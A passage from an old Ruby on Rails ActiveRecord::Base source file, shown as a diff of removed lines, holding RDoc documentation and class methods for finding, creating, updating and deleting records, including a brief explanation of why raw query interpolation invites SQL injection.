-  #     def self.authenticate_safely_simply(user_name, password)
-  #       find(:first, :conditions => { :user_name => user_name, :password => password })
-  #     end
-  #   end
-  #
-  # The <tt>authenticate_unsafely</tt> method inserts the parameters directly into the query and is thus susceptible to SQL-injection
-  # attacks if the <tt>user_name</tt> and +password+ parameters come directly from an HTTP request. The <tt>authenticate_safely</tt>  and
-  # <tt>authenticate_safely_simply</tt> both will sanitize the <tt>user_name</tt> and +password+ before inserting them in the query,
-  # which will ensure that an attacker can't escape the query and fake the login (or worse).
-  #
-  # When using multiple parameters in the conditions, it can easily become hard to read exactly what the fourth or fifth
-  # question mark is supposed to represent. In those cases, you can resort to named bind variables instead. That's done by replacing
-  # the question marks with symbols and supplying a hash with values for the matching symbol keys:
-  #
-  #   Company.find(:first, :conditions => [
-  #     "id = :id AND name = :name AND division = :division AND created_at > :accounting_date",
-  #     { :id => 3, :name => "37signals", :division => "First", :accounting_date => '2005-01-01' }
-  #   ])
-  #
-  # Similarly, a simple hash without a statement will generate conditions based on equality with the SQL AND
-  # operator. For instance:
-  #
-  #   Student.find(:all, :conditions => { :first_name => "Harvey", :status => 1 })
-  #   Student.find(:all, :conditions => params[:student])
-  #
-  # A range may be used in the hash to use the SQL BETWEEN operator:
-  #
-  #   Student.find(:all, :conditions => { :grade => 9..12 })
-  #
-  # An array may be used in the hash to use the SQL IN operator:
-  #
-  #   Student.find(:all, :conditions => { :grade => [9,11,12] })
-  #
-  # == Overwriting default accessors
-  #
-  # All column values are automatically available through basic accessors on the Active Record object, but sometimes you
-  # want to specialize this behavior. This can be done by overwriting the default accessors (using the same
-  # name as the attribute) and calling <tt>read_attribute(attr_name)</tt> and <tt>write_attribute(attr_name, value)</tt> to actually change things.
-  # Example:
-  #
-  #   class Song < ActiveRecord::Base
-  #     # Uses an integer of seconds to hold the length of the song
-  #
-  #     def length=(minutes)
-  #       write_attribute(:length, minutes.to_i * 60)
-  #     end
-  #
-  #     def length
-  #       read_attribute(:length) / 60
-  #     end
-  #   end
-  #
-  # You can alternatively use <tt>self[:attribute]=(value)</tt> and <tt>self[:attribute]</tt> instead of <tt>write_attribute(:attribute, value)</tt> and
-  # <tt>read_attribute(:attribute)</tt> as a shorter form.
-  #
-  # == Attribute query methods
-  #
-  # In addition to the basic accessors, query methods are also automatically available on the Active Record object.
-  # Query methods allow you to test whether an attribute value is present.
-  #
-  # For example, an Active Record User with the <tt>name</tt> attribute has a <tt>name?</tt> method that you can call
-  # to determine whether the user has a name:
-  #
-  #   user = User.new(:name => "David")
-  #   user.name? # => true
-  #
-  #   anonymous = User.new(:name => "")
-  #   anonymous.name? # => false
-  #
-  # == Accessing attributes before they have been typecasted
-  #
-  # Sometimes you want to be able to read the raw attribute data without having the column-determined typecast run its course first.
-  # That can be done by using the <tt><attribute>_before_type_cast</tt> accessors that all attributes have. For example, if your Account model
-  # has a <tt>balance</tt> attribute, you can call <tt>account.balance_before_type_cast</tt> or <tt>account.id_before_type_cast</tt>.
-  #
-  # This is especially useful in validation situations where the user might supply a string for an integer field and you want to display
-  # the original string back in an error message. Accessing the attribute normally would typecast the string to 0, which isn't what you
-  # want.
-  #
-  # == Dynamic attribute-based finders
-  #
-  # Dynamic attribute-based finders are a cleaner way of getting (and/or creating) objects by simple queries without turning to SQL. They work by
-  # appending the name of an attribute to <tt>find_by_</tt>, <tt>find_last_by_</tt>, or <tt>find_all_by_</tt>, so you get finders like <tt>Person.find_by_user_name</tt>,
-  # <tt>Person.find_all_by_last_name</tt>, and <tt>Payment.find_by_transaction_id</tt>. So instead of writing
-  # <tt>Person.find(:first, :conditions => ["user_name = ?", user_name])</tt>, you just do <tt>Person.find_by_user_name(user_name)</tt>.
-  # And instead of writing <tt>Person.find(:all, :conditions => ["last_name = ?", last_name])</tt>, you just do <tt>Person.find_all_by_last_name(last_name)</tt>.
-  #
-  # It's also possible to use multiple attributes in the same find by separating them with "_and_", so you get finders like
-  # <tt>Person.find_by_user_name_and_password</tt> or even <tt>Payment.find_by_purchaser_and_state_and_country</tt>. So instead of writing
-  # <tt>Person.find(:first, :conditions => ["user_name = ? AND password = ?", user_name, password])</tt>, you just do
-  # <tt>Person.find_by_user_name_and_password(user_name, password)</tt>.
-  #
-  # It's even possible to use all the additional parameters to find. For example, the full interface for <tt>Payment.find_all_by_amount</tt>
-  # is actually <tt>Payment.find_all_by_amount(amount, options)</tt>. And the full interface to <tt>Person.find_by_user_name</tt> is
-  # actually <tt>Person.find_by_user_name(user_name, options)</tt>. So you could call <tt>Payment.find_all_by_amount(50, :order => "created_on")</tt>.
-  # Also you may call <tt>Payment.find_last_by_amount(amount, options)</tt> returning the last record matching that amount and options.
-  #
-  # The same dynamic finder style can be used to create the object if it doesn't already exist. This dynamic finder is called with
-  # <tt>find_or_create_by_</tt> and will return the object if it already exists and otherwise creates it, then returns it. Protected attributes won't be set unless they are given in a block. For example:
-  #
-  #   # No 'Summer' tag exists
-  #   Tag.find_or_create_by_name("Summer") # equal to Tag.create(:name => "Summer")
-  #
-  #   # Now the 'Summer' tag does exist
-  #   Tag.find_or_create_by_name("Summer") # equal to Tag.find_by_name("Summer")
-  #
-  #   # Now 'Bob' exist and is an 'admin'
-  #   User.find_or_create_by_name('Bob', :age => 40) { |u| u.admin = true }
-  #
-  # Use the <tt>find_or_initialize_by_</tt> finder if you want to return a new record without saving it first. Protected attributes won't be set unless they are given in a block. For example:
-  #
-  #   # No 'Winter' tag exists
-  #   winter = Tag.find_or_initialize_by_name("Winter")
-  #   winter.new_record? # true
-  #
-  # To find by a subset of the attributes to be used for instantiating a new object, pass a hash instead of
-  # a list of parameters. For example:
-  #
-  #   Tag.find_or_create_by_name(:name => "rails", :creator => current_user)
-  #
-  # That will either find an existing tag named "rails", or create a new one while setting the user that created it.
-  #
-  # == Saving arrays, hashes, and other non-mappable objects in text columns
-  #
-  # Active Record can serialize any object in text columns using YAML. To do so, you must specify this with a call to the class method +serialize+.
-  # This makes it possible to store arrays, hashes, and other non-mappable objects without doing any additional work. Example:
-  #
-  #   class User < ActiveRecord::Base
-  #     serialize :preferences
-  #   end
-  #
-  #   user = User.create(:preferences => { "background" => "black", "display" => large })
-  #   User.find(user.id).preferences # => { "background" => "black", "display" => large }
-  #
-  # You can also specify a class option as the second parameter that'll raise an exception if a serialized object is retrieved as a
-  # descendant of a class not in the hierarchy. Example:
-  #
-  #   class User < ActiveRecord::Base
-  #     serialize :preferences, Hash
-  #   end
-  #
-  #   user = User.create(:preferences => %w( one two three ))
-  #   User.find(user.id).preferences    # raises SerializationTypeMismatch
-  #
-  # == Single table inheritance
-  #
-  # Active Record allows inheritance by storing the name of the class in a column that by default is named "type" (can be changed
-  # by overwriting <tt>Base.inheritance_column</tt>). This means that an inheritance looking like this:
-  #
-  #   class Company < ActiveRecord::Base; end
-  #   class Firm < Company; end
-  #   class Client < Company; end
-  #   class PriorityClient < Client; end
-  #
-  # When you do <tt>Firm.create(:name => "37signals")</tt>, this record will be saved in the companies table with type = "Firm". You can then
-  # fetch this row again using <tt>Company.find(:first, "name = '37signals'")</tt> and it will return a Firm object.
-  #
-  # If you don't have a type column defined in your table, single-table inheritance won't be triggered. In that case, it'll work just
-  # like normal subclasses with no special magic for differentiating between them or reloading the right type with find.
-  #
-  # Note, all the attributes for all the cases are kept in the same table. Read more:
-  # http://www.martinfowler.com/eaaCatalog/singleTableInheritance.html
-  #
-  # == Connection to multiple databases in different models
-  #
-  # Connections are usually created through ActiveRecord::Base.establish_connection and retrieved by ActiveRecord::Base.connection.
-  # All classes inheriting from ActiveRecord::Base will use this connection. But you can also set a class-specific connection.
-  # For example, if Course is an ActiveRecord::Base, but resides in a different database, you can just say <tt>Course.establish_connection</tt>
-  # and Course and all of its subclasses will use this connection instead.
-  #
-  # This feature is implemented by keeping a connection pool in ActiveRecord::Base that is a Hash indexed by the class. If a connection is
-  # requested, the retrieve_connection method will go up the class-hierarchy until a connection is found in the connection pool.
-  #
-  # == Exceptions
-  #
-  # * ActiveRecordError - Generic error class and superclass of all other errors raised by Active Record.
-  # * AdapterNotSpecified - The configuration hash used in <tt>establish_connection</tt> didn't include an
-  #   <tt>:adapter</tt> key.
-  # * AdapterNotFound - The <tt>:adapter</tt> key used in <tt>establish_connection</tt> specified a non-existent adapter
-  #   (or a bad spelling of an existing one).
-  # * AssociationTypeMismatch - The object assigned to the association wasn't of the type specified in the association definition.
-  # * SerializationTypeMismatch - The serialized object wasn't of the class specified as the second parameter.
-  # * ConnectionNotEstablished+ - No connection has been established. Use <tt>establish_connection</tt> before querying.
-  # * RecordNotFound - No record responded to the +find+ method. Either the row with the given ID doesn't exist
-  #   or the row didn't meet the additional restrictions. Some +find+ calls do not raise this exception to signal
-  #   nothing was found, please check its documentation for further details.
-  # * StatementInvalid - The database server rejected the SQL statement. The precise error is added in the message.
-  # * MultiparameterAssignmentErrors - Collection of errors that occurred during a mass assignment using the
-  #   <tt>attributes=</tt> method. The +errors+ property of this exception contains an array of AttributeAssignmentError
-  #   objects that should be inspected to determine which attributes triggered the errors.
-  # * AttributeAssignmentError - An error occurred while doing a mass assignment through the <tt>attributes=</tt> method.
-  #   You can inspect the +attribute+ property of the exception object to determine which attribute triggered the error.
-  #
-  # *Note*: The attributes listed are class-level attributes (accessible from both the class and instance level).
-  # So it's possible to assign a logger to the class through <tt>Base.logger=</tt> which will then be used by all
-  # instances in the current object space.
-  class Base
-    ##  
-    # :singleton-method:
-    # Accepts a logger conforming to the interface of Log4r or the default Ruby 1.8+ Logger class, which is then passed
-    # on to any new database connections made and which can be retrieved on both a class and instance level by calling +logger+.
-    cattr_accessor :logger, :instance_writer => false
-
-    def self.inherited(child) #:nodoc:
-      @@subclasses[self] ||= []
-      @@subclasses[self] << child
-      super
-    end
-
-    def self.reset_subclasses #:nodoc:
-      nonreloadables = []
-      subclasses.each do |klass|
-        unless ActiveSupport::Dependencies.autoloaded? klass
-          nonreloadables << klass
-          next
-        end
-        klass.instance_variables.each { |var| klass.send(:remove_instance_variable, var) }
-        klass.instance_methods(false).each { |m| klass.send :undef_method, m }
-      end
-      @@subclasses = {}
-      nonreloadables.each { |klass| (@@subclasses[klass.superclass] ||= []) << klass }
-    end
-
-    @@subclasses = {}
-
-    ##
-    # :singleton-method:
-    # Contains the database configuration - as is typically stored in config/database.yml -
-    # as a Hash.
-    #
-    # For example, the following database.yml...
-    # 
-    #   development:
-    #     adapter: sqlite3
-    #     database: db/development.sqlite3
-    #   
-    #   production:
-    #     adapter: sqlite3
-    #     database: db/production.sqlite3
-    #
-    # ...would result in ActiveRecord::Base.configurations to look like this:
-    #
-    #   {
-    #      'development' => {
-    #         'adapter'  => 'sqlite3',
-    #         'database' => 'db/development.sqlite3'
-    #      },
-    #      'production' => {
-    #         'adapter'  => 'sqlite3',
-    #         'database' => 'db/production.sqlite3'
-    #      }
-    #   }
-    cattr_accessor :configurations, :instance_writer => false
-    @@configurations = {}
-
-    ##
-    # :singleton-method:
-    # Accessor for the prefix type that will be prepended to every primary key column name. The options are :table_name and
-    # :table_name_with_underscore. If the first is specified, the Product class will look for "productid" instead of "id" as
-    # the primary column. If the latter is specified, the Product class will look for "product_id" instead of "id". Remember
-    # that this is a global setting for all Active Records.
-    cattr_accessor :primary_key_prefix_type, :instance_writer => false
-    @@primary_key_prefix_type = nil
-
-    ##
-    # :singleton-method:
-    # Accessor for the name of the prefix string to prepend to every table name. So if set to "basecamp_", all
-    # table names will be named like "basecamp_projects", "basecamp_people", etc. This is a convenient way of creating a namespace
-    # for tables in a shared database. By default, the prefix is the empty string.
-    #
-    # If you are organising your models within modules you can add a prefix to the models within a namespace by defining
-    # a singleton method in the parent module called table_name_prefix which returns your chosen prefix.
-    cattr_accessor :table_name_prefix, :instance_writer => false
-    @@table_name_prefix = ""
-
-    ##
-    # :singleton-method:
-    # Works like +table_name_prefix+, but appends instead of prepends (set to "_basecamp" gives "projects_basecamp",
-    # "people_basecamp"). By default, the suffix is the empty string.
-    cattr_accessor :table_name_suffix, :instance_writer => false
-    @@table_name_suffix = ""
-
-    ##
-    # :singleton-method:
-    # Indicates whether table names should be the pluralized versions of the corresponding class names.
-    # If true, the default table name for a Product class will be +products+. If false, it would just be +product+.
-    # See table_name for the full rules on table/class naming. This is true, by default.
-    cattr_accessor :pluralize_table_names, :instance_writer => false
-    @@pluralize_table_names = true
-
-    ##
-    # :singleton-method:
-    # Determines whether to use ANSI codes to colorize the logging statements committed by the connection adapter. These colors
-    # make it much easier to overview things during debugging (when used through a reader like +tail+ and on a black background), but
-    # may complicate matters if you use software like syslog. This is true, by default.
-    cattr_accessor :colorize_logging, :instance_writer => false
-    @@colorize_logging = true
-
-    ##
-    # :singleton-method:
-    # Determines whether to use Time.local (using :local) or Time.utc (using :utc) when pulling dates and times from the database.
-    # This is set to :local by default.
-    cattr_accessor :default_timezone, :instance_writer => false
-    @@default_timezone = :local
-
-    ##
-    # :singleton-method:
-    # Specifies the format to use when dumping the database schema with Rails'
-    # Rakefile.  If :sql, the schema is dumped as (potentially database-
-    # specific) SQL statements.  If :ruby, the schema is dumped as an
-    # ActiveRecord::Schema file which can be loaded into any database that
-    # supports migrations.  Use :ruby if you want to have different database
-    # adapters for, e.g., your development and test environments.
-    cattr_accessor :schema_format , :instance_writer => false
-    @@schema_format = :ruby
-
-    ##
-    # :singleton-method:
-    # Specify whether or not to use timestamps for migration numbers
-    cattr_accessor :timestamped_migrations , :instance_writer => false
-    @@timestamped_migrations = true
-
-    # Determine whether to store the full constant name including namespace when using STI
-    class_attribute :store_full_sti_class
-    self.store_full_sti_class = false
-
-    # Stores the default scope for the class
-    class_inheritable_accessor :default_scoping, :instance_writer => false
-    self.default_scoping = []
-
-    class << self # Class methods
-      # Find operates with four different retrieval approaches:
-      #
-      # * Find by id - This can either be a specific id (1), a list of ids (1, 5, 6), or an array of ids ([5, 6, 10]).
-      #   If no record can be found for all of the listed ids, then RecordNotFound will be raised.
-      # * Find first - This will return the first record matched by the options used. These options can either be specific
-      #   conditions or merely an order. If no record can be matched, +nil+ is returned. Use
-      #   <tt>Model.find(:first, *args)</tt> or its shortcut <tt>Model.first(*args)</tt>.
-      # * Find last - This will return the last record matched by the options used. These options can either be specific
-      #   conditions or merely an order. If no record can be matched, +nil+ is returned. Use
-      #   <tt>Model.find(:last, *args)</tt> or its shortcut <tt>Model.last(*args)</tt>.
-      # * Find all - This will return all the records matched by the options used.
-      #   If no records are found, an empty array is returned. Use
-      #   <tt>Model.find(:all, *args)</tt> or its shortcut <tt>Model.all(*args)</tt>.
-      #
-      # All approaches accept an options hash as their last parameter.
-      #
-      # ==== Parameters
-      #
-      # * <tt>:conditions</tt> - An SQL fragment like "administrator = 1", <tt>[ "user_name = ?", username ]</tt>, or <tt>["user_name = :user_name", { :user_name => user_name }]</tt>. See conditions in the intro.
-      # * <tt>:order</tt> - An SQL fragment like "created_at DESC, name".
-      # * <tt>:group</tt> - An attribute name by which the result should be grouped. Uses the <tt>GROUP BY</tt> SQL-clause.
-      # * <tt>:having</tt> - Combined with +:group+ this can be used to filter the records that a <tt>GROUP BY</tt> returns. Uses the <tt>HAVING</tt> SQL-clause.
-      # * <tt>:limit</tt> - An integer determining the limit on the number of rows that should be returned.
-      # * <tt>:offset</tt> - An integer determining the offset from where the rows should be fetched. So at 5, it would skip rows 0 through 4.
-      # * <tt>:joins</tt> - Either an SQL fragment for additional joins like "LEFT JOIN comments ON comments.post_id = id" (rarely needed),
-      #   named associations in the same form used for the <tt>:include</tt> option, which will perform an <tt>INNER JOIN</tt> on the associated table(s),
-      #   or an array containing a mixture of both strings and named associations.
-      #   If the value is a string, then the records will be returned read-only since they will have attributes that do not correspond to the table's columns.
-      #   Pass <tt>:readonly => false</tt> to override.
-      # * <tt>:include</tt> - Names associations that should be loaded alongside. The symbols named refer
-      #   to already defined associations. See eager loading under Associations.
-      # * <tt>:select</tt> - By default, this is "*" as in "SELECT * FROM", but can be changed if you, for example, want to do a join but not
-      #   include the joined columns. Takes a string with the SELECT SQL fragment (e.g. "id, name").
-      # * <tt>:from</tt> - By default, this is the table name of the class, but can be changed to an alternate table name (or even the name
-      #   of a database view).
-      # * <tt>:readonly</tt> - Mark the returned records read-only so they cannot be saved or updated.
-      # * <tt>:lock</tt> - An SQL fragment like "FOR UPDATE" or "LOCK IN SHARE MODE".
-      #   <tt>:lock => true</tt> gives connection's default exclusive lock, usually "FOR UPDATE".
-      #
-      # ==== Examples
-      #
-      #   # find by id
-      #   Person.find(1)       # returns the object for ID = 1
-      #   Person.find(1, 2, 6) # returns an array for objects with IDs in (1, 2, 6)
-      #   Person.find([7, 17]) # returns an array for objects with IDs in (7, 17)
-      #   Person.find([1])     # returns an array for the object with ID = 1
-      #   Person.find(1, :conditions => "administrator = 1", :order => "created_on DESC")
-      #
-      # Note that returned records may not be in the same order as the ids you
-      # provide since database rows are unordered. Give an explicit <tt>:order</tt>
-      # to ensure the results are sorted.
-      #
-      # ==== Examples
-      #
-      #   # find first
-      #   Person.find(:first) # returns the first object fetched by SELECT * FROM people
-      #   Person.find(:first, :conditions => [ "user_name = ?", user_name])
-      #   Person.find(:first, :conditions => [ "user_name = :u", { :u => user_name }])
-      #   Person.find(:first, :order => "created_on DESC", :offset => 5)
-      #
-      #   # find last
-      #   Person.find(:last) # returns the last object fetched by SELECT * FROM people
-      #   Person.find(:last, :conditions => [ "user_name = ?", user_name])
-      #   Person.find(:last, :order => "created_on DESC", :offset => 5)
-      #
-      #   # find all
-      #   Person.find(:all) # returns an array of objects for all the rows fetched by SELECT * FROM people
-      #   Person.find(:all, :conditions => [ "category IN (?)", categories], :limit => 50)
-      #   Person.find(:all, :conditions => { :friends => ["Bob", "Steve", "Fred"] }
-      #   Person.find(:all, :offset => 10, :limit => 10)
-      #   Person.find(:all, :include => [ :account, :friends ])
-      #   Person.find(:all, :group => "category")
-      #
-      # Example for find with a lock: Imagine two concurrent transactions:
-      # each will read <tt>person.visits == 2</tt>, add 1 to it, and save, resulting
-      # in two saves of <tt>person.visits = 3</tt>.  By locking the row, the second
-      # transaction has to wait until the first is finished; we get the
-      # expected <tt>person.visits == 4</tt>.
-      #
-      #   Person.transaction do
-      #     person = Person.find(1, :lock => true)
-      #     person.visits += 1
-      #     person.save!
-      #   end
-      def find(*args)
-        options = args.extract_options!
-        validate_find_options(options)
-        set_readonly_option!(options)
-
-        case args.first
-          when :first then find_initial(options)
-          when :last  then find_last(options)
-          when :all   then find_every(options)
-          else             find_from_ids(args, options)
-        end
-      end
-
-      # A convenience wrapper for <tt>find(:first, *args)</tt>. You can pass in all the
-      # same arguments to this method as you can to <tt>find(:first)</tt>.
-      def first(*args)
-        find(:first, *args)
-      end
-
-      # A convenience wrapper for <tt>find(:last, *args)</tt>. You can pass in all the
-      # same arguments to this method as you can to <tt>find(:last)</tt>.
-      def last(*args)
-        find(:last, *args)
-      end
-
-      # This is an alias for find(:all).  You can pass in all the same arguments to this method as you can
-      # to find(:all)
-      def all(*args)
-        find(:all, *args)
-      end
-
-      # Executes a custom SQL query against your database and returns all the results.  The results will
-      # be returned as an array with columns requested encapsulated as attributes of the model you call
-      # this method from.  If you call <tt>Product.find_by_sql</tt> then the results will be returned in
-      # a Product object with the attributes you specified in the SQL query.
-      #
-      # If you call a complicated SQL query which spans multiple tables the columns specified by the
-      # SELECT will be attributes of the model, whether or not they are columns of the corresponding
-      # table.
-      #
-      # The +sql+ parameter is a full SQL query as a string.  It will be called as is, there will be
-      # no database agnostic conversions performed.  This should be a last resort because using, for example,
-      # MySQL specific terms will lock you to using that particular database engine or require you to
-      # change your call if you switch engines.
-      #
-      # ==== Examples
-      #   # A simple SQL query spanning multiple tables
-      #   Post.find_by_sql "SELECT p.title, c.author FROM posts p, comments c WHERE p.id = c.post_id"
-      #   > [#<Post:0x36bff9c @attributes={"title"=>"Ruby Meetup", "first_name"=>"Quentin"}>, ...]
-      #
-      #   # You can use the same string replacement techniques as you can with ActiveRecord#find
-      #   Post.find_by_sql ["SELECT title FROM posts WHERE author = ? AND created > ?", author_id, start_date]
-      #   > [#<Post:0x36bff9c @attributes={"first_name"=>"The Cheap Man Buys Twice"}>, ...]
-      def find_by_sql(sql)
-        connection.select_all(sanitize_sql(sql), "#{name} Load").collect! { |record| instantiate(record) }
-      end
-
-      # Returns true if a record exists in the table that matches the +id+ or
-      # conditions given, or false otherwise. The argument can take five forms:
-      #
-      # * Integer - Finds the record with this primary key.
-      # * String - Finds the record with a primary key corresponding to this
-      #   string (such as <tt>'5'</tt>).
-      # * Array - Finds the record that matches these +find+-style conditions
-      #   (such as <tt>['color = ?', 'red']</tt>).
-      # * Hash - Finds the record that matches these +find+-style conditions
-      #   (such as <tt>{:color => 'red'}</tt>).
-      # * No args - Returns false if the table is empty, true otherwise.
-      #
-      # For more information about specifying conditions as a Hash or Array,
-      # see the Conditions section in the introduction to ActiveRecord::Base.
-      #
-      # Note: You can't pass in a condition as a string (like <tt>name =
-      # 'Jamie'</tt>), since it would be sanitized and then queried against
-      # the primary key column, like <tt>id = 'name = \'Jamie\''</tt>.
-      #
-      # ==== Examples
-      #   Person.exists?(5)
-      #   Person.exists?('5')
-      #   Person.exists?(:name => "David")
-      #   Person.exists?(['name LIKE ?', "%#{query}%"])
-      #   Person.exists?
-      def exists?(id_or_conditions = {})
-        find_initial(
-          :select => "#{quoted_table_name}.#{primary_key}",
-          :conditions => expand_id_conditions(id_or_conditions)) ? true : false
-      end
-
-      # Creates an object (or multiple objects) and saves it to the database, if validations pass.
-      # The resulting object is returned whether the object was saved successfully to the database or not.
-      #
-      # The +attributes+ parameter can be either be a Hash or an Array of Hashes.  These Hashes describe the
-      # attributes on the objects that are to be created.
-      #
-      # ==== Examples
-      #   # Create a single new object
-      #   User.create(:first_name => 'Jamie')
-      #
-      #   # Create an Array of new objects
-      #   User.create([{ :first_name => 'Jamie' }, { :first_name => 'Jeremy' }])
-      #
-      #   # Create a single object and pass it into a block to set other attributes.
-      #   User.create(:first_name => 'Jamie') do |u|
-      #     u.is_admin = false
-      #   end
-      #
-      #   # Creating an Array of new objects using a block, where the block is executed for each object:
-      #   User.create([{ :first_name => 'Jamie' }, { :first_name => 'Jeremy' }]) do |u|
-      #     u.is_admin = false
-      #   end
-      def create(attributes = nil, &block)
-        if attributes.is_a?(Array)
-          attributes.collect { |attr| create(attr, &block) }
-        else
-          object = new(attributes)
-          yield(object) if block_given?
-          object.save
-          object
-        end
-      end
-
-      # Updates an object (or multiple objects) and saves it to the database, if validations pass.
-      # The resulting object is returned whether the object was saved successfully to the database or not.
-      #
-      # ==== Parameters
-      #
-      # * +id+ - This should be the id or an array of ids to be updated.
-      # * +attributes+ - This should be a hash of attributes to be set on the object, or an array of hashes.
-      #
-      # ==== Examples
-      #
-      #   # Updating one record:
-      #   Person.update(15, :user_name => 'Samuel', :group => 'expert')
-      #
-      #   # Updating multiple records:
-      #   people = { 1 => { "first_name" => "David" }, 2 => { "first_name" => "Jeremy" } }
-      #   Person.update(people.keys, people.values)
-      def update(id, attributes)
-        if id.is_a?(Array)
-          idx = -1
-          id.collect { |one_id| idx += 1; update(one_id, attributes[idx]) }
-        else
-          object = find(id)
-          object.update_attributes(attributes)
-          object
-        end
-      end
-
-      # Deletes the row with a primary key matching the +id+ argument, using a
-      # SQL +DELETE+ statement, and returns the number of rows deleted. Active
-      # Record objects are not instantiated, so the object's callbacks are not
-      # executed, including any <tt>:dependent</tt> association options or
-      # Observer methods.
-      #
-      # You can delete multiple rows at once by passing an Array of <tt>id</tt>s.
-      #
-      # Note: Although it is often much faster than the alternative,
-      # <tt>#destroy</tt>, skipping callbacks might bypass business logic in
-      # your application that ensures referential integrity or performs other
-      # essential jobs.
-      #
-      # ==== Examples
-      #
-      #   # Delete a single row
-      #   Todo.delete(1)
-      #
-      #   # Delete multiple rows
-      #   Todo.delete([2,3,4])
-      def delete(id)
-        delete_all([ "#{connection.quote_column_name(primary_key)} IN (?)", id ])
-      end
-
-      # Destroy an object (or multiple objects) that has the given id, the object is instantiated first,
-      # therefore all callbacks and filters are fired off before the object is deleted.  This method is
-      # less efficient than ActiveRecord#delete but allows cleanup methods and other actions to be run.
-      #
-      # This essentially finds the object (or multiple objects) with the given id, creates a new object
-      # from the attributes, and then calls destroy on it.
-      #
-      # ==== Parameters
-      #
-      # * +id+ - Can be either an Integer or an Array of Integers.
-      #
-      # ==== Examples
-      #
-      #   # Destroy a single object
-      #   Todo.destroy(1)
-      #
-      #   # Destroy multiple objects
-      #   todos = [1,2,3]
-      #   Todo.destroy(todos)
-      def destroy(id)
-        if id.is_a?(Array)
-          id.map { |one_id| destroy(one_id) }
-        else
-          find(id).destroy
-        end
-      end
-
-      # Updates all records with details given if they match a set of conditions supplied, limits and order can
-      # also be supplied. This method constructs a single SQL UPDATE statement and sends it straight to the
-      # database. It does not instantiate the involved models and it does not trigger Active Record callbacks.
-      #
-      # ==== Parameters
-      #
-      # * +updates+ - A string of column and value pairs that will be set on any records that match conditions. This creates the SET clause of the generated SQL.
-      # * +conditions+ - An SQL fragment like "administrator = 1" or [ "user_name = ?", username ]. See conditions in the intro for more info.
-      # * +options+ - Additional options are <tt>:limit</tt> and <tt>:order</tt>, see the examples for usage.
-      #
-      # ==== Examples
-      #
-      #   # Update all billing objects with the 3 different attributes given
-      #   Billing.update_all( "category = 'authorized', approved = 1, author = 'David'" )
-      #
-      #   # Update records that match our conditions
-      #   Billing.update_all( "author = 'David'", "title LIKE '%Rails%'" )
-      #
-      #   # Update records that match our conditions but limit it to 5 ordered by date
-      #   Billing.update_all( "author = 'David'", "title LIKE '%Rails%'",
-      #                         :order => 'created_at', :limit => 5 )
-      def update_all(updates, conditions = nil, options = {})
-        sql  = "UPDATE #{quoted_table_name} SET #{sanitize_sql_for_assignment(updates)} "
-
-        scope = scope(:find)
-
-        select_sql = ""
-        add_conditions!(select_sql, conditions, scope)
-
-        if options.has_key?(:limit) || (scope && scope[:limit])
-          # Only take order from scope if limit is also provided by scope, this
-          # is useful for updating a has_many association with a limit.
-          add_order!(select_sql, options[:order], scope)
-
-          add_limit!(select_sql, options, scope)
-          sql.concat(connection.limited_update_conditions(select_sql, quoted_table_name, connection.quote_column_name(primary_key)))
-        else
-          add_order!(select_sql, options[:order], nil)
-          sql.concat(select_sql)
-        end
-
-        connection.update(sql, "#{name} Update")
-      end
-
-      # Destroys the records matching +conditions+ by instantiating each
-      # record and calling its +destroy+ method. Each object's callbacks are
-      # executed (including <tt>:dependent</tt> association options and
-      # +before_destroy+/+after_destroy+ Observer methods). Returns the
-      # collection of objects that were destroyed; each will be frozen, to
-      # reflect that no changes should be made (since they can't be
-      # persisted).
-      #
-      # Note: Instantiation, callback execution, and deletion of each
-      # record can be time consuming when you're removing many records at
-      # once. It generates at least one SQL +DELETE+ query per record (or
-      # possibly more, to enforce your callbacks). If you want to delete many
-      # rows quickly, without concern for their associations or callbacks, use
-      # +delete_all+ instead.
-      #
-      # ==== Parameters
-      #
-      # * +conditions+ - A string, array, or hash that specifies which records
-      #   to destroy. If omitted, all records are destroyed. See the
-      #   Conditions section in the introduction to ActiveRecord::Base for
-      #   more information.
-      #
-      # ==== Examples
-      #
-      #   Person.destroy_all("last_login < '2004-04-04'")
-      #   Person.destroy_all(:status => "inactive")
-      def destroy_all(conditions = nil)
-        find(:all, :conditions => conditions).each { |object| object.destroy }
-      end
-
-      # Deletes the records matching +conditions+ without instantiating the records first, and hence not
-      # calling the +destroy+ method nor invoking callbacks. This is a single SQL DELETE statement that
-      # goes straight to the database, much more efficient than +destroy_all+. Be careful with relations
-      # though, in particular <tt>:dependent</tt> rules defined on associations are not honored.  Returns
-      # the number of rows affected.
-      #
-      # ==== Parameters
-      #
-      # * +conditions+ - Conditions are specified the same way as with +find+ method.
-      #
-      # ==== Example
-      #
-      #   Post.delete_all("person_id = 5 AND (category = 'Something' OR category = 'Else')")
-      #   Post.delete_all(["person_id = ? AND (category = ? OR category = ?)", 5, 'Something', 'Else'])
-      #
-      # Both calls delete the affected posts all at once with a single DELETE statement. If you need to destroy dependent
-      # associations or call your <tt>before_*</tt> or +after_destroy+ callbacks, use the +destroy_all+ method instead.
-      def delete_all(conditions = nil)
-        sql = "DELETE FROM #{quoted_table_name} "
-        add_conditions!(sql, conditions, scope(:find))
-        connection.delete(sql, "#{name} Delete all")
-      end
-
-      # Returns the result of an SQL statement that should only include a COUNT(*) in the SELECT part.
-      # The use of this method should be restricted to complicated SQL queries that can't be executed
-      # using the ActiveRecord::Calculations class methods.  Look into those before using this.
-      #
-      # ==== Parameters
-      #
-      # * +sql+ - An SQL statement which should return a count query from the database, see the example below.
-      #
-      # ==== Examples
-      #
-      #   Product.count_by_sql "SELECT COUNT(*) FROM sales s, customers c WHERE s.customer_id = c.id"
-      def count_by_sql(sql)
-        sql = sanitize_conditions(sql)
-        connection.select_value(sql, "#{name} Count").to_i
-      end
-
-      # Resets one or more counter caches to their correct value using an SQL
-      # count query.  This is useful when adding new counter caches, or if the
-      # counter has been corrupted or modified directly by SQL.
-      #
-      # ==== Parameters
-      #
-      # * +id+ - The id of the object you wish to reset a counter on.
-      # * +counters+ - One or more counter names to reset
-      #
-      # ==== Examples
-      #
-      #   # For Post with id #1 records reset the comments_count
-      #   Post.reset_counters(1, :comments)
-      def reset_counters(id, *counters)
-        object = find(id)
-        counters.each do |association|
-          child_class = reflect_on_association(association.to_sym).klass
-          belongs_name = self.name.demodulize.underscore.to_sym
-          counter_name = child_class.reflect_on_association(belongs_name).counter_cache_column
-          value = object.send(association).count
-
-          connection.update(<<-CMD, "#{name} UPDATE")
-            UPDATE #{quoted_table_name}
-            SET #{connection.quote_column_name(counter_name)} = #{value}
